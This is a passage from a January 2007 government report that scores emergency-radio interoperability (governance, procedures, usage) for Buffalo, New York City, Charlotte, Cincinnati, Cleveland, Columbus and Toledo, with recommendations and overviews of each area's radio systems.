included a majority of the local, state, and federal agencies within the area. Although the Buffalo UA did not
have pre-existing SOPs, the agencies within the UA were able to effectively execute the SOPs as outlined in
the TICP. For example, during the TICP validation exercise, the participants were able to successfully
follow the policies and procedures to request, activate, deactivate, and resolve problems for radio caches,
shared channels, and gateways. Although the National Incident Management System (NIMS)/Incident
Command System (ICS) was only implemented in September 2006, responders demonstrated some
proficiency in command and control during the TICP validation exercise (e.g., announced the
15%
20%
20%
20%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-67
January 2007
Tactical Interoperable Communications Scorecards
Communications Unit Leader designation to participants). The UA is working toward further NIMS/ICS
training for law enforcement and EMS personnel which should address difficulties encountered during the
exercise.
Recommendations:
•
Ensure that regional SOPs are aligned with statewide planning efforts (e.g., develop SOPs for use of the
future statewide communications system)
•
Initiate basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The participating agencies in the TICP validation exercise demonstrated the ability to successfully achieve
communications interoperability. During the exercise, the Buffalo UA adequately used and demonstrated all
available means of communications (e.g., radio caches, gateways, and shared channels). Some notable issues
did arise during the exercise. Buffalo officials indicate that there are designated shared channels to provide
first responder interoperability. However, as noted in the After Action Report, “[t]here was limited
communication between fire and EMS during the exercise; the two agencies did not discuss their needs and
capabilities, coordinate their resources, or relay information regarding their actions to one another.” The
TICP validation exercise included federal agencies (e.g., Bureau of Alcohol, Tobacco, Firearms, and
Explosives), which shows proactive effort on the part of the UA to include a broad range of response
agencies. The UA is encouraged to build on its local exercise success by further integrating state, federal and
support agencies in its future events.
Recommendations:
•
Continue to exercise interoperability solutions that allows for direct communications between fire and
EMS (as noted in the Improvement Plan)
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Buffalo UA has no shared radio systems and is supported by a mixture of conventional very high frequency (VHF)
and ultra high frequency (UHF) radio frequencies. The Buffalo Police and Fire Departments operate separate UHF
radio systems, and routine communications with regional law enforcement agencies is accomplished through the use of
VHF high band frequencies.
Erie County Fire Departments operate VHF low band and UHF radio systems; the Erie County Sheriff operates a UHF
radio system. In Niagara County, the Sheriff’s Office operates a VHF high band radio system, whereas other law
enforcement agencies in the county operate on a mixture of UHF and VHF frequencies. Niagara County Fire operates
on both VHF low band and UHF. Interoperability with state and other regional agencies is achieved through the use of
shared VHF and UHF channels, fixed and mobile gateways, and cached radios. The New York State Wireless Network
is currently not available in the UA but is expected to be available late 2008.
Urban/Metropolitan Area
A-68
January 2007
Tactical Interoperable Communications Scorecards
New York City, NY
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Established Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The New York City Urban Area (UA) includes the core city (City of New York), the core city's surrounding counties of
Nassau, Suffolk, and Westchester, the Port Authority of New York and New Jersey (PANYNJ), and the New York State
Metropolitan Transportation Authority (MTA).
Governance: Established Implementation
15%
20%
20%
20%
Established in 2002, the New York City Interagency Communications Committee (NYCICC) is a formalized group
that meets regularly to evaluate current states of interoperable communications and to develop strategies to exercise and
drill communications capabilities, raise awareness within agencies, and ensure that improvements are coordinated. The
group has been proactive in incorporating multiple local, regional, state, federal, and public support agencies in their
decision-making process. Major organizations in the UA have existing agreements in place (e.g., and New York City
Police Department [NYPD] & New York City Fire Department [FDNY] Executive Orders), although partnerships with
smaller agencies in the area are informal. A strategic plan, which will incorporate counties from two additional states
(i.e., Connecticut and New Jersey) is in development, but has not yet been adopted. Funding for interoperable capital
improvements is provided through federal grants and supported by local resources to meet interoperability needs (e.g.,
dispatch and maintenance). The City of New York has prepared a four year financial plan, which should be included
into a broader strategic plan for the region. While the NYCICC has coordinated regional communications efforts,
additional participation and leadership from jurisdictions throughout the area is needed to achieve regionwide
interoperability.
Recommendations:
•
Ensure that all applicable local agencies are documented and referenced in agreements (e.g., memoranda of
understanding, inter-governmental agreements) at a regional level
•
Reference all applicable agreements in the Tactical Interoperable Communications Plan (TICP), and store them in
an accessible format
•
Establish a regular review process to ensure that agreements remain current and relevant
•
Develop, document, and implement a regionwide strategic plan (beyond the operational focus to the TICP) with
participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy
(in addition to grants)
•
Align local and state strategic planning efforts to ensure that regional interoperability needs are met
•
Develop a funding strategy for identifying sustainable funding sources (in addition to grants) to cover lifecycle and
recurring costs of the UA’s communications interoperability assets
•
Encourage broader involvement by senior government leadership from across the area on interoperability funding
and procurement plans
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The New York TICP is based on various existing policies and procedures (e.g., the New York Metropolitan Area
Committee’s Spectrum Relief for Interoperability Channels Memorandum). These SOPs were expanded to include both
new procedures and additional jurisdictions in the area. The New York UA has taken steps to disseminate these policies
to necessary agencies and their dispatch centers. Officials in New York City recognize that “ongoing training and
exercises will only strengthen first responder awareness… and further advance the current SOPs based upon actual
usage.” New York City uses Citywide Incident Management System (CIMS) for command and control Incident
Command System (ICS) implementation, whereas the rest of the UA implemented the National Incident Management
15%
20%
20%
20%
15%
20%
20%
20%
15%
20%
20%
20%
Urban/Metropolitan Area
A-69
January 2007
Tactical Interoperable Communications Scorecards
System (NIMS). TICP peer reviewers noted that consistency in ICS needs to be clearly articulated to ensure smooth
integration of first responders from outside the city who are trained on NIMS procedures. CIMS has been certified as
compliant with NIMS as both use the same ICS terminology, positions, and roles for first responders. However,
agencies throughout the area still refer to CIMS and NIMS separately. It is therefore unclear if there is regionwide
understanding that these command structures can be seamlessly integrated during a response. The limited scope of the
TICP validation exercise did not provide the opportunity to see all aspects of this interaction. However, the procedures
for command and control that were tested during the exercise were successfully demonstrated.
Recommendations:
•
Continue to distribute updated regional communications interoperability SOPs (e.g., document demonstrated
exercise procedures not originally included in the TICP)
•
Develop training policies and requirements for inclusion in the TICP
•
Ensure that the same command structure is used throughout the area (e.g., ensure CIMS and NIMS are consistently
applied and practiced across the area)
•
Continue basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Established Implementation
15%
20%
20%
20%
New York City has developed multiple means of providing interoperable communications. As noted by exercise
evaluators, FDNY and NYPD command “are now using the same radios on the same frequency band, which is a
commendable development.” Nassau County has a New York City operational frequency, and New York City and
Suffolk County also share channels. New York City provides a common channel for coordination and interoperable
communications among city agencies, as well as other agencies entering the city, to accomplish public safety missions.
The exercise evaluators also noted a weekly roll call of Federal agencies using the Federal Interoperability Gateway-
based System, which is commendable. Due to the limited scope of the exercise , which did not fully stress the
communications capabilities of the UA, it is difficult to determine the level of local, regional, state, and federal
participation in local response incidents. Officials in New York City indicate that they “have to do exercises more with
[their] surrounding neighbors. These exercises need to be more robust.” The exercise did not include any public
support agencies (e.g., public health, utilities), and prevented adequate testing of interoperable communications (e.g.,
evaluators not given access to dispatch center to observe activation of a console patch).
Recommendations:
•
Conduct robust exercises to test interoperable communications capabilities (e.g., more complexity, additional local,
regional, state, and federal agencies)
•
Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day
activities
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
New York City UA has developed multiple means of providing interoperable communications. Command and control
interoperability is provided by a Regional Wide-Area Interoperability system that is expanding into New Jersey and into
Nassau, Suffolk, and Westchester counties. An 800 megahertz (MHz) trunked system has dedicated command and
control talk-groups, such as ALERT, to provide high-level, interoperable communications for city, state and regional
agencies. Within the UA, operational interoperability is provided by NYPD zone frequencies; tactical interoperability
uses a common UHF point-to-point channel. The counties operate 800 MHz, ultra high frequency, and very high
frequency systems providing interoperability to their public safety agencies. The UA also employs a variety of national
law enforcement, New York State Police Mutual Rapid Deployment and National Public Safety Planning Advisory
Committee mutual aid channels, which are accessible throughout the region. The Federal Interoperability Channel
provides most federal agencies interoperability to local, regional, and state agencies throughout the UA and northeastern
New Jersey as well.
Urban/Metropolitan Area
A-70
January 2007
Tactical Interoperable Communications Scorecards
Charlotte, NC
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Established Implementation
Usage:
Established Implementation
The Charlotte Urban Area (UA) includes the City of Charlotte; the North Carolina counties of Anson,
Cabarrus, Catawba, Gaston, Iredell, Lincoln, Mecklenburg, Stanly, and Union; and the South Carolina
counties of Lancaster and York. With Anson County added, collectively, these jurisdictions are known as
the Piedmont Area Communications Consortium (PACC).
Governance: Intermediate Implementation
10%
10%15%
15%
Coordination for communications in the Charlotte UA is provided by the PACC, which is working to
establish communications interoperability as a regional priority. The PACC has been in place since 2003
addressing key communications interoperability issues, including the development of a multi-agency
Department of Justice Office of Community Oriented Policing Services (COPS) project. The PACC has
established formal partnerships among the 11 counties (in 2 states) that represent the Charlotte UA, and they
are expanding to include public health and public works. In addition, the Charlotte Regional
Communications Council (RCC) is established and in place for those agencies participating in the UA’s
shared system. However, as Charlotte officials indicated, the agreements have not yet been put into practice
across the entire UA. Based on the activities of the governance group, it appears that regional leaders have
made communications interoperability a priority (e.g., the UA has planned interoperability training for
participating agencies). Despite this apparent prioritization of interoperable communications in the
governance groups, no long-term strategic plan (including funding strategies) is in place. While agencies are
considering regional interoperability needs, it appears that agencies still focus the use of grant funding on
their individual, specific communications needs. This issue would be best addressed by developing a
strategic plan that includes a longer term funding strategy to obtain diversifiable and sustainable funding for
regionwide interoperable communications solutions.
Recommendations:
•
Proactively recruit new PACC participants, including federal agencies
•
Encourage planning and development of strategic plan (i.e., longer term collective goals for the UA)
(beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]) with
participant approval, adoption, and acceptance; align local and state strategic planning efforts to ensure
that regional interoperability needs are met
•
Pursue a regional communications interoperability funding plan as a component of this strategy,
including long-term (e.g., 3 to 5 years) funding sources (in addition to grants)
•
Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically
focus on interoperability
Standard Operating Procedures (SOP): Established Implementation
15%
20%
20%
20%
The TICP provides the first regional communication SOPs for the Charlotte UA, which represents multiple
jurisdictions and 29 radio systems. Before the TICP, every county had its own individual policies and
procedures. Since the development of the TICP, the Charlotte UA has distributed the interoperable
15%
20%
20%
20%
10%
10%15%
15%
15%
20%
20%
20%
Urban/Metropolitan Area
A-71
January 2007
Tactical Interoperable Communications Scorecards
communications SOPs across the area through the TICP Implementation Workshop. Additional steps, such
as storing applicable SOPs with radio caches and gateways, would support the continued dissemination and
implementation of these SOPs. In regards to command and control procedures, the Charlotte UA has been
implementing the National Incident Management System (NIMS)/Incident Command System (ICS) for more
than 1 year, allowing agencies time to develop proficiency. During the TICP validation exercise, the
Charlotte UA successfully demonstrated NIMS/ICS, including the Communications Unit Leader (COML)
position that had been newly incorporated. For example, a unified command was successfully established
with Incident Commanders representing each of the jurisdictional agencies. Additionally, a COML was
designated and announced to all relevant personnel.
Recommendations:
•
Continue to maintain and update SOPs (e.g., through updates after scheduled tabletop communications
exercises) to include policies for using new equipment, and disseminate to all included organizations
•
Ensure that regional SOPs are aligned with statewide planning efforts
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Established Implementation
15%
20%
20%
20%
The Charlotte UA showed success in the use of all available communications interoperability methods (e.g.,
radio caches, shared channels, gateways, shared systems) during its TICP validation exercise. While
interoperable communications equipment is not used on a daily basis, the Charlotte UA included all 11
counties in successfully exercising all available interoperability equipment. Charlotte had one of the most
inclusive exercises with regard to the level of local agency participation. While the exercise met the stated
requirements, it did not provide the opportunity to demonstrate interoperable communications with federal
agencies in the area. The UA is encouraged to build on its local exercise success by further integrating state,
federal, and support agencies in future events.
Recommendations:
•
Involve public safety support disciplines, and state and federal agencies in training and exercises
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
The Charlotte UA hosts 29 separate radio systems. Radio systems supporting first responders are a mixture of very high
frequency (VHF), ultra high frequency (UHF), and 800 megahertz (MHz) systems. The City of Charlotte is serviced by
the Charlotte/Mecklenburg 800 MHz Radio System, which supports public safety agencies from both the City of
Charlotte and Mecklenburg County. Communications interoperability is provided by the use of cached radios,
gateways, and shared channels. The Charlotte UA is working to incorporate Union and Gaston County into the
Charlotte/Mecklenburg radio system. Using the existing Charlotte/Mecklenburg Motorola SmartZone™ 4.1 zone
controller, Charlotte/Mecklenburg intends to interconnect its 800 MHz Radio System with those owned and operated by
Union and Gaston counties and to establish a UA shared system.
Urban/Metropolitan Area
A-72
January 2007
Tactical Interoperable Communications Scorecards
Cincinnati, OH
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Cincinnati/Hamilton Urban Area (UA) includes the following counties: Butler, Warren, Clermont, Hamilton,
Highland, Brown, Adams, and Clinton (Ohio); Boone, Kenton, and Campbell (Kentucky); and Dearborn (Indiana). The
UA consists of Ohio UA6, also known as Southwestern Ohio, Southeastern Indiana, and Northern Kentucky (SOSINK).
Governance: Intermediate Implementation
10%
10%15%
15%
The SOSINK established a communications subcommittee under the SOSINK regional Terrorism Preparedness
Advisory Team to create the Tactical Interoperable Communications Plan (TICP) in October 2005. The committee
includes representatives from the majority of local agencies within the UA counties. The documentation did not
indicate whether the group has a charter that defines the authority of the group. The Cincinnati/Hamilton UA has
formal mutual aid agreements among local agencies (e.g., fire, law enforcement, emergency medical services [EMS])
and local villages, townships, and cities. Agreements with broader public support and state agencies are provided
through the Ohio Response System. The UA also lacks interstate agreements among state representatives in Ohio,
Kentucky, and Indiana. Considering the complex nature of coordination necessary among three states and multiple
localities, a regional strategic plan for interoperable communications is critical to ensure regionwide interoperability,
which currently does not exist. The UA should consider including a longer term funding strategy that is diversified and
sustainable, and aligns with the UA’s interoperable communications needs. Currently, the UA receives funding from
federal grants to fund the regional system. The UA’s leadership has demonstrated the importance of interoperable
communications by allocating a large portion of acquired federal grant funding to communications interoperability
equipment in addition to substantial local funds. However, there is no specified strategy to ensure sustained funding for
interoperability needs. Despite the success of the area’s leadership, fiscal and political support dedicated to tri-state
interoperability is an issue that calls for ongoing, enhanced coordination.
Recommendations:
•
Continue to involve state and federal organizations (e.g., Kentucky and Indiana State Police, Federal Bureau of
Investigation) in the committee, develop a charter to establish roles, responsibilities, and authority
•
Continue to document and formalize agreements (e.g., memoranda of understanding) among all participating
agencies (e.g., interstate agreements among Ohio, Kentucky, and Indiana) to support partnership on regional
interoperability, allocate resources to complete the formalize agreements, and renew effort to increase involvement
among all appropriate local, state, and federal agencies, particularly law enforcement
•
Develop, document, and implement a consensus tri-state regional strategic plan (beyond the operational focus of
the TICP) with participant approval, adoption, and acceptance; align local and statewide strategic planning efforts
to ensure that tri-state regional interoperability needs are met
•
Develop and implement a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and
sustainable funding (in addition to grants)
•
Continue to identify a champion(s) from each of the states to establish a governance structure that more fully
supports a unified tri-state regional approach to planning, policy, and operations
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP represents the first formal interoperable communications regional SOP for the Cincinnati/Hamilton UA. The
UA has taken some steps to implement these new SOPs (e.g., store radio cache SOPs with radio caches), and has plans
to further distribute the TICP to tri-state area public safety agencies. The Cincinnati/Hamilton UA is currently working
10%
10%15%
15%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
A-73
January 2007
Tactical Interoperable Communications Scorecards
toward implementing the National Incident Management System (NIMS)/Incident Command System (ICS), and
SOSINK is assisting in the delivery of NIMS/ICS training. The Cincinnati/Hamilton UA demonstrated familiarity with
command and control communications during the TICP validation exercise, and requires continued training for
proficiency in some command and control procedures as documented in the TICP validation exercise (e.g., incident and
unified commands were established but not in a timely manner, a Communications Unit Leader was designated, but not
announced to exercise participants).
Recommendations:
•
Continue to develop tri-state regional interoperability SOPs consistent with the TICP, further disseminate
throughout UA (in addition to storing radio cache SOPs with cache), and train all participating agencies
•
Continue to involve additional state and federal agencies in development of tri-state Regional SOPs
•
Identify the title and source documentation for existing SOPs in the TICP
•
Initiate basic and advanced training and exercises on SOPs (include communications unit implementation
consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS
compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The Cincinnati/Hamilton UA regularly uses a shared system that provides communications interoperability across 4 of
the 8 Ohio counties in the area and among counties in Kentucky and Indiana. Officials indicated that there historically
had not been a need for interoperable communications among all 12 counties in the UA. Although the UA does not
regularly use its interoperable communications equipment across all 12 counties, it elected to pursue a complicated
TICP validation exercise that stressed its interoperability capabilities so that it could positively identify areas for
improvement. During the TICP validation exercise, some of the types of solutions presented difficulty for the UA in
terms of demonstrating familiarity and proficient use (e.g., distributed radio cache without training or instructions).
Despite issues with the radio caches, the Cincinnati/Hamilton UA was able to demonstrate familiarity with other
available interoperability equipment, including shared channels and gateways.
Recommendations:
•
Continue to regularly test and exercise deployment of Regional interoperability resources to improve proficiency
(e.g., radio cache and gateways)
•
Continue to practice multijurisdictional and multidiscipline communications during future exercises and day-to-day
activities, and include all 12 counties
•
Consider adding communications interoperability as a component of future exercises in the tri-state area
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology O
Technology O
Technology O
Technology Overview
verview
verview
verview
All public safety agencies in the City of Cincinnati and Hamilton County operate on a shared, Project 25, digital, 800
megahertz radio system. Disparate systems are common throughout the rest of the SOSINK UA. The City/County has
identified interoperable communication links with surrounding agencies, such as National Public Safety Planning
Advisory Committee channels, gateways, and shared frequencies.
Urban/Metropolitan Area
A-74
January 2007
Tactical Interoperable Communications Scorecards
Cleveland, OH
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Early Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Cleveland Urban Area (UA) includes the City of Cleveland and more than 57 other cities and
municipalities within Cuyahoga County.
Governance: Early Implementation
10%5%
5%
5%
The Cuyahoga County Emergency Services Advisory Board has an informal communications subcommittee
addressing interoperability that consists of regional fire, law enforcement, and public health representatives
on an ad hoc basis. Currently, there are no published and active agreements among the regional agencies,
although the UA plans to implement the Tactical Interoperable Communications Plan (TICP) as the area’s
first formal agreement once it is adopted by participating agencies. The decision-making group informally
recruits public safety support agencies and has some limited involvement with the Cleveland Mayor’s office.
A technical communications study was conducted in 2002, but the result is not clearly defined as the UA’s
formal strategic plan nor is it known whether it includes the necessary components to create a strategic plan.
The current funding for interoperable communications is mainly through federal grants with no long-term
funding plan to apply regional resources to communications interoperability needs. Coordination and
cooperation among individual jurisdictions is not well established and agencies have their own agenda with
regard to communications interoperability. Although the first responder community is dedicated to
advancing interoperable communications capabilities, there does not appear to be a direct line of
communications among regional and state leaders.
Recommendations:
•
Establish a regular meeting schedule and membership, include all agencies, and define roles and
responsibilities
•
Develop and document the necessary agreements (e.g., memoranda of understanding) that include local,
state, and federal agencies to support partnerships on regional communications interoperability
•
Develop a strategic plan beyond the technical study and operational focus of the TICP with participant
approval, adoption, and acceptance; align local and state strategic planning efforts to ensure that regional
interoperability needs are met
•
Develop a regional approach to long-term (e.g., 3 to 5 years) communications interoperability planning
and sustainable funding
•
Consider the direct involvement of a high-level official with political and fiscal authority to specifically
advocate for and focus on communications interoperability
•
Consider establishing a direct line of communication among the local and state level organizations to
advocate the importance of interoperable communications
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The Cleveland UA’s TICP represents the first formal interoperable communications regional SOPs for the
area. The level of participation in the development of the TICP was limited and should be increased to
ensure the TICP addresses the needs of all public safety agencies within the UA. Additionally, the TICP has
10%
10%15%
15%
10%
10%15%
15%
10%5%
5%
5%
Urban/Metropolitan Area
A-75
January 2007
Tactical Interoperable Communications Scorecards
not yet been finalized and formally accepted, which represents a significant set back in advancing
communications interoperability across the area. In regards to command and control procedures, the
Cleveland UA is in the process of implementing the National Incident Management System (NIMS)/Incident
Command System (ICS), and has begun training for fire, law enforcement, emergency medical services, and
public support disciplines (e.g., hospitals). However, the UA demonstrated deficiencies during the TICP
validation exercise, such as the Communications Unit Leaders experienced problems identifying themselves
during emergency response, there were not enough COMLs at the incident, and there was a delay of 45
minutes in establishing a command post.
Recommendations:
•
Adopt the TICP as the regional communications plan
•
Once adopted, disseminate and train personnel on regional SOPs, and ensure consistency with regional
and statewide communications interoperability planning efforts
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Intermediate Implementation
10%
10%15%
15%
The Cleveland UA demonstrated familiarity and successful use of the interoperable communications
equipment during the TICP validation exercise (e.g., shared channels and shared systems). However, the UA
also experienced several deficiencies with radio caches or gateways that illustrate the need for continued
testing and exercising of interoperable communications equipment (e.g., improvements needed in setup and
use of gateways for command and control purposes). For example, the talk groups established on the shared
system were not appropriately set up to handle traffic, and gateways at a site experienced technical problems.
Additionally, in a recent real-world event (blackout in 2003), Cleveland officials indicated that it had
difficulty in establishing interoperable communications across agencies and jurisdictions. For example,
federal agencies had problems in the TICP validation exercise (e.g., U.S. Coast Guard did not have a direct
line of communication with the Cleveland UA emergency response units).
Recommendations:
•
Regularly test and exercise deployment of regional interoperable communications resources to improve
proficiency (e.g., radio cache and gateways)
•
Involve additional local, state, and federal agencies in training and exercises
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
In the UA, the City of Cleveland and remaining agencies in Cuyahoga County operate 20 very high frequency, 20 ultra
high frequency, and seven 800 megahertz (MHz) radio systems. Interoperability is achieved by sharing radios,
gateways, and channels (National Public Safety Planning Advisory Committee and Multi-Agency Radio
Communications System [MARCS]). Various agencies have access to the State of Ohio MARCS 800 MHz digital
trunked system’s radios for command and control during multi-agency incidents. The City of Cleveland and Cuyahoga
County are in the process of developing the Cuyahoga Area-wide Radio System (CARS). CARS is a countywide
Project 25-compliant 800 MHz digital trunked system that will be used by all agencies in the jurisdiction.
Urban/Metropolitan Area
A-76
January 2007
Tactical Interoperable Communications Scorecards
Columbus, OH
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Advanced Implementation
Standard Operating Procedures:
Advanced Implementation
Usage:
Advanced Implementation
The Columbus Urban Area (UA) includes the City of Columbus and Franklin County, inclusive of all
jurisdictions within that county.
Governance: Advanced Implementation
The Franklin County Board of Commissioners and the Mayor of the City of Columbus have made public
safety communications a priority for the UA and have developed a governance structure that demonstrates
their focus on tactical communications interoperability. The Homeland Security Advisory Committee, which
they established, created a subcommittee for interoperable communications technical issues and additional
subcommittees to address other topics, including operational and training issues. The governance structure
has been in place for interoperable communications since the establishment of the 800 megahertz (MHz)
Advisory Committee in 1995, has been refined through work with COPS in 2003, and more recently through
the Tactical Interoperable Communications Plan (TICP) process. Additionally, the Columbus UA has an
interoperability strategic plan in place and is accepted by all participating agencies within the UA prior to the
development of the TICP. Franklin County officials indicated that they were preparing to begin strategic
planning efforts beyond the UA, including all of the 14 counties in the Ohio Homeland Security Region 4.
Political leaders (e.g., the Franklin County Board of Commissioners and the Mayor of the City of Columbus)
have provided policy and fiscal support for interoperable communications issues, and budgeting is developed
based on regional (rather than agency-specific) needs. Agencies have individually agreed in writing to
support their own required operational and maintenance costs following the expiration of equipment
warranty periods across the shared system. The area is encouraged to consider whether their current
approach to prioritizing and sustaining funding is sufficient to support its long-term interoperability goals of
including additional agencies as part of the 800 MHz shared system. The Columbus UA has an ongoing
maintenance and upgrade plan that is supported by user fees.
Recommendations:
•
Continue to recruit and involve organizations, even if they are not specifically involved in the decision-
making group
•
Implement the review and revision of strategic plans (beyond 1 year) according to the needs of the UA
•
Encourage a regional interoperability funding strategy, including funding sources that will be needed to
address long-term goals (i.e., new investments, extending the existing shared system)
Standard Operating Procedures (SOP): Advanced Implementation
The Columbus UA has had communications interoperability SOPs in place for more than a decade, and all
existing SOPs were incorporated into the TICP. As with a previous United States Department of Justice
Office of Community Oriented Policing Services (COPS) grant, the UA used the TICP development process
as an opportunity to update and enhance its policies. The UA is commended for taking aggressive steps in
disseminating these policies through bi-monthly training sessions for member agencies based on the TICP
Implementation Workshop. The National Incident Management System (NIMS)/Incident Management
Urban/Metropolitan Area
A-77
January 2007
Tactical Interoperable Communications Scorecards
System (ICS) has been implemented for more than 1 year, and the successful use of these procedures
(including those regarding Communications Unit Leader [COML] position) was demonstrated during the
UA’s TICP validation exercise (e.g., the COML was identified).
Recommendation:
•
Continue basic and advanced training and exercises on SOPs (include communications unit
implementation consistent with the TICP) to ensure that all participating first responder agencies attain
and maintain NIMS/ICS compliance
Usage: Advanced Implementation
In addition to regular usage of interoperability resources for real-world responses, the Columbus UA has
undertaken an aggressive training and exercise plan for communications. The UA holds regular training
exercises, including monthly exercises on the use of its gateways. The benefit of this regular usage was
demonstrated in the TICP validation exercise, which showed proficiency in each category of interoperable
equipment. For example, evaluators observed the effective set-up and activation of the gateway listed in the
TICP. In addition, interoperable communications was provided for regional responders above and beyond
the core responders, including Franklin County Sheriff’s Office, Franklin County Emergency Management,
Ohio Department of Transportation, Ohio National Guard, Federal Bureau of Investigation, and Bureau of
Alcohol, Tobacco, Firearms, and Explosives.
Recommendation:
•
Consider adding communications interoperability as a component of all future exercises
Below is a summary of the area’s existing technology used to provide communications interoperability:
Technology Overview
Technology Overview
Technology Overview
Technology Overview
Currently, two major radio systems are used by governmental agencies in Franklin County. Both systems are 800 MHz,
Motorola SMARTNET II™, trunked analog radio systems. Recent upgrades were made to dispatch consoles to
promote and provide for “interoperability” dispatching. The majority of the public safety agencies in the county are
using the City of Columbus system, while many of the public service agencies are on the Franklin County system.
These two systems provide interoperability by using common technology, allowing talk groups from both systems to
reside on the same radio.
The vision of the Columbus UA is first to coordinate interoperability in the Columbus area and second, to continue to
incorporate other counties within Homeland Security Region 4 into the committee. To foster achievement of this
objective, the committee’s goal is to permit all of the government agencies in Region 4 to gain interoperability with any
other agency in the area by accomplishing the following—
•
Establishing the ability to change talk groups on any radio
•
Using the statewide Multi-Agency Radio Communications System
•
Connecting disparate radio systems through a gateway device or via console patches at all dispatch centers
•
Distributing radios to other agencies to provide interoperability with local radio systems and channels.
Urban/Metropolitan Area
A-78
January 2007
Tactical Interoperable Communications Scorecards
Toledo, OH
Tactical Interoperable Communications Scorecard
Summary
Summary
Summary
Summary
Governance:
Intermediate Implementation
Standard Operating Procedures:
Intermediate Implementation
Usage:
Intermediate Implementation
The Toledo Urban Area (UA) includes 22 jurisdictions—the cities of Maumee, Sylvania, Oregon, and
Toledo; and the townships of Harding, Jerusalem, Monclova, Providence, Richfield, Spencer, Springfield,
Swanton, Sylvania, Washington, and Waterville; and the villages of Berkey, Holland, Neapolis, Ottawa
Hills, Swanton, Waterville, and Whitehouse. The Toledo UA is located in Lucas County in northern Ohio.
Governance: Intermediate Implementation
10%
10%15%
15%
The Governance Board, a formalized group appointed by county commissioners, has been focused on the
Tactical Interoperable Communications Plan (TICP), which has provided communications interoperability
agreements for agencies within the county, and implementing a new countywide 800 megahertz (MHz)
Project 25 (P25) system. With strong support from local leaders, the new system is expected to markedly
improve multi-agency communications within Lucas County. Funding has been put in place to support
implementation of the new system, and it is assumed that a newly passed 9-1-1 levy will also support
ongoing system operation. The Toledo UA funding strategy is considered a best practice for diversifying
funding sources for sustainable communications interoperability funding. Despite the partnerships involved
in the creation of the countywide 800 MHz system, the governance group has not taken steps to ensure that
interoperability is achieved with surrounding counties, state agencies, and additional support organizations.
Although some long-term thinking is occurring to consider communications interoperability challenges with
agencies outside of the UA, an overall strategic plan does not exist to facilitate regional interoperability.
Toledo officials indicated that these strategic planning is a responsibility of the Countywide Safety
Communication System Advisory Committee and that they hoped to address this when additional funding
became available.
Recommendations:
•
Continue to involve state and federal organizations (e.g., state police, federal agencies operating in area)
in the group, ensuring that their roles and responsibilities are documented within the group, and consider
more regular participation in statewide interoperability committee efforts
•
Document and formalize agreements (e.g., memoranda of understanding) among all participating
agencies to support partnerships on regional interoperability
•
Consider broadening agreements to include state, federal, and international agencies
•
Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant
approval, adoption, and acceptance
•
Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met
•
Enhance regional interoperability funding strategy and methods to include additional long-term (e.g., 3 to
5 years) funding sources in line with interoperability goals and as documented through the strategic
planning process
•
Leverage partnerships involved in regionwide system development to emphasize broadening aspects of
interoperability (e.g., strategic planning, additional agreements among state and federal agencies)
10%
10%15%
15%
10%
10%15%
15%
10%
10%15%
15%
Urban/Metropolitan Area
A-79
January 2007
Tactical Interoperable Communications Scorecards
Standard Operating Procedures (SOP): Intermediate Implementation
10%
10%15%
15%
The TICP provides the first regional communications interoperability SOPs for the Toledo UA. Toledo
officials indicated that policies were previously in place for computer-aided dispatch operations, but not
voice interoperable communications. While these interoperability SOPs are less mature, the UA has done
well in disseminating and applying them. Since completing the TICP, the UA has taken numerous steps to
distribute the TICP (e.g., distributed to all included organizations and dispatch centers, distributed through
TICP Implementation Workshop) although officials recognize that “it may take time to get everyone on
board 100 percent.” This statement was proven accurate during the TICP validation exercise, which noted
some challenges with operating within the procedures established by the TICP. With respect to
communications requirements in the National Incident Management System (NIMS)/Incident Command
System (ICS), the Toledo UA has been implementing these procedures more than 1 year. As noted in the
After Action Report, the UA “can benefit from continued basic and advanced training in NIMS/ICS,
including areas such as the rapid establishment of Unified Command, the development of Incident Action
